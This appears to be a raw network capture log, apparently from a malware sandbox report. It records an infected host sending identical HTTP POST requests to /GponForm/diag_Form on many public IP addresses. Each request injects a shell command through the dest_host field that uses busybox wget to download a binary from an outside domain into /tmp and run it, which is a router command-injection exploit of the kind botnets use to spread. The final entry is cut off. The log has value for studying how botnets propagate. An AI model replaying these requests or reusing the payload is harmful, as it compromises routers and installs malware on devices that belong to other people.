39	192.168.2.23	35690	2.69.219.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.105937958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	43488	123.132.230.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106020927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	48468	210.155.51.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106026888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	50212	123.10.114.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106057882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	35050	2.40.195.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106115103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	51448	42.1.72.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106158018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	46814	212.194.65.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106219053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	57956	210.170.247.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106236935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	58298	212.246.96.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106281042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	43518	202.98.254.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106367111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	49032	5.4.132.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106380939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	35654	109.212.58.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106405973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	58472	212.247.201.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106466055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	33828	210.173.203.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106493950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	50038	212.5.243.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106586933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	54642	42.108.237.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106602907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	47248	123.148.92.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106627941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	48478	42.131.82.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106712103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	33412	148.134.149.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106715918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	53278	212.67.150.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106765985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	38708	117.44.172.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106936932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	42310	210.178.32.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106940031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	57432	37.208.92.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106940031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	36558	202.186.229.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.106940031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	32910	109.209.208.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107050896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	42414	123.192.203.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.107243061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 